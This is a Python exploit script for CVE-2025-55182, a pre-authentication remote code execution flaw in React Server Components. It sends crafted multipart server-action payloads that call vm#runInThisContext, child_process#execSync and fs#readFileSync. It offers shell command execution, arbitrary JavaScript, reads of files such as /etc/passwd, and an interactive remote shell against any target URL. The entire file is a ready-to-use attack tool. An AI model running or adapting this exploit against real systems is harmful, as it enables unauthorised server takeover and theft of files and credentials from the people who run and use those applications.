#!/usr/bin/env python3 """ CVE-2025-55182 - React Server Components RCE Exploit Python implementation for exploiting vulnerable React applications Vulnerability: Pre-authentication Remote Code Execution in react-server-dom-webpack@19.0.0 Author: rez Date: 2025 Usage: python3 exploit.py --url http://target:3000 --cmd "whoami" python3 exploit.py --url http://target:3000 --read /etc/passwd python3 exploit.py --url http://target:3000 --js "console.log('pwned')" """ import argparse import json import random import string import sys import requests from typing import Dict, Optional class CVE202555182Exploit: """Exploit for CVE-2025-55182 - React Server Components RCE""" def __init__(self, base_url: str, endpoint: str = "/formaction"): self.base_url = base_url.rstrip('/') self.endpoint = endpoint def _generate_boundary(self) -> str: """Generate a random multipart boundary""" return '----WebKitFormBoundary' + ''.join( random.choices(string.ascii_letters + string.digits, k=16) ) def _build_multipart(self, fields: Dict[str, str], boundary: str) -> bytes: """Build multipart/form-data payload""" parts = [] for name, value in fields.items(): parts.append(f'--{boundary}\r\n'.encode()) parts.append(f'Content-Disposition: form-data; name="{name}"\r\n\r\n'.encode()) parts.append(f'{value}\r\n'.encode()) parts.append(f'--{boundary}--\r\n'.encode()) return b''.join(parts) def _send_payload(self, payload: Dict[str, str], headers: Optional[Dict] = None) -> requests.Response: """Send exploit payload to target""" boundary = self._generate_boundary() body = self._build_multipart(payload, boundary) default_headers = { 'Content-Type': f'multipart/form-data; boundary={boundary}', } if headers: default_headers.update(headers) url = f'{self.base_url}{self.endpoint}' return requests.post(url, data=body, headers=default_headers, timeout=10) def test_vm_runInThisContext(self, code: str) -> str: """ Exploit via vm#runInThisContext Most powerful - executes arbitrary JavaScript code """ payload = { '$ACTION_REF_0': '', '$ACTION_0:0': json.dumps({ 'id': 'vm#runInThisContext', 'bound': [code] }) } response = self._send_payload(payload) return response.text def test_child_process_execSync(self, command: str) -> str: """ Exploit via child_process#execSync Direct command execution """ payload = { '$ACTION_REF_0': '', '$ACTION_0:0': json.dumps({ 'id': 'child_process#execSync', 'bound': [command] }) } response = self._send_payload(payload) return response.text def test_fs_readFileSync(self, filepath: str, encoding: str = 'utf8') -> str: """ Exploit via fs#readFileSync Read arbitrary files """ payload = { '$ACTION_REF_0': '', '$ACTION_0:0': json.dumps({ 'id': 'fs#readFileSync', 'bound': [filepath, encoding] }) } response = self._send_payload(payload) return response.text def execute_command(self, command: str, method: str = 'vm') -> str: """ Execute shell command Methods: vm (default), child_process """ if method == 'vm': # Escape double quotes in command safe_cmd = command.replace('"', '\\"') js_code = f'process.mainModule.require("child_process").execSync("{safe_cmd}").toString()' return self.test_vm_runInThisContext(js_code) else: return self.test_child_process_execSync(command) def read_file(self, filepath: str, method: str = 'vm') -> str: """ Read file from filesystem Methods: vm (default), fs """ if method == 'vm': js_code = f'process.mainModule.require("fs").readFileSync("{filepath}", "utf8")' return self.test_vm_runInThisContext(js_code) else: return self.test_fs_readFileSync(filepath) def interactive_shell(self): """Simple interactive shell for exploitation""" print("[*] Interactive Shell Mode") print("[*] Type commands to execute (or 'exit' to quit)") print("[*] Use 'read ' to read files") print() while True: try: cmd = input("rce> ").strip() if not cmd: continue if cmd.lower() in ['exit', 'quit']: print("[*] Exiting...") break if cmd.startswith('read '): filepath = cmd[5:].strip() result = self.read_file(filepath) else: result = self.execute_command(cmd) print(result) except KeyboardInterrupt: print("\n[*] Exiting...") break except Exception as e: print(f"[-] Error: {e}") def main(): parser = argparse.ArgumentParser( description='CVE-2025-55182 React Server Components RCE Exploit', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: # Execute commands python3 exploit.py --url http://target:3000 --cmd "whoami" python3 exploit.py --url http://target:3000 --cmd "cat /etc/passwd" # Read files directly python3 exploit.py --url http://target:3000 --read /etc/passwd # Execute JavaScript code python3 exploit.py --url http://target:3000 --js "Math.sqrt(144)" # Interactive shell python3 exploit.py --url http://target:3000 --shell # Run vulnerability test python3 exploit.py --url http://target:3000 --test """ ) parser.add_argument('--url', required=True, help='Target URL (e.g., http://localhost:3002)') parser.add_argument('--endpoint', default='/formaction', help='Server action endpoint (default: /formaction)') parser.add_argument('--cmd', metavar='COMMAND', help='Execute shell command') parser.add_argument('--read', metavar='FILE', help='Read file from filesystem') parser.add_argument('--js', metavar='CODE', help='Execute arbitrary JavaScript code') parser.add_argument('--shell', action='store_true', help='Start interactive shell') parser.add_argument('--test', action='store_true', help='Run vulnerability tests') parser.add_argument('--method', choices=['vm', 'child_process', 'fs'], default='vm', help='Exploitation method (default: vm)') parser.add_argument('--quiet', action='store_true', help='Suppress banner and extra output') args = parser.parse_args() # Check if at least one action is specified if not any([args.cmd, args.read, args.js, args.shell, args.test]): parser.print_help() print("\n[-] Error: Please specify an action (--cmd, --read, --js, --shell, or --test)") sys.exit(1) exploit = CVE202555182Exploit(args.url, args.endpoint) if not args.quiet: print(f"[*] CVE-2025-55182 Exploit") print(f"[*] Target: {args.url}{args.endpoint}") print(f"[*] Method: {args.method}") print() try: if args.shell: exploit.interactive_shell() elif args.js: if not args.quiet: print(f"[*] Executing JavaScript: {args.js}") result = exploit.test_vm_runInThisContext(args.js) if args.quiet: # Extract just the result value try: data = json.loads(result) if 'result' in data: print(data['result']) else: print(result) except: print(result) else: print(f"[+] Result:\n{result}") elif args.cmd: if not args.quiet: print(f"[*] Executing command: {args.cmd}") result = exploit.execute_command(args.cmd, method=args.method) if args.quiet: try: data = json.loads(result) if 'result' in data: print(data['result']) else: print(result) except: print(result) else: print(f"[+] Result:\n{result}") elif args.read: if not args.quiet: print(f"[*] Reading file: {args.read}") result = exploit.read_file(args.read, method=args.method) if args.quiet: try: data = json.loads(result) if 'result' in data: print(data['result']) else: print(result) except: print(result) else: print(f"[+] Result:\n{result}") elif args.test: # Run vulnerability tests print("[*] Running vulnerability tests...\n") print("[Test 1] Basic code execution (1+1)") result = exploit.test_vm_runInThisContext('1+1') print(f"Result: {result[:200]}\n") print("[Test 2] Command execution (whoami)") result = exploit.execute_command('whoami') print(f"Result: {result[:200]}\n") print("[Test 3] File read (/etc/hostname)") result = exploit.read_file('/etc/hostname') print(f"Result: {result[:200]}\n") print("[+] All tests completed!") except requests.exceptions.ConnectionError: print(f"[-] Error: Could not connect to {args.url}") print(f"[-] Make sure the server is running!") except requests.exceptions.Timeout: print(f"[-] Error: Request timed out") except Exception as e: print(f"[-] Error: {e}") if __name__ == '__main__': main()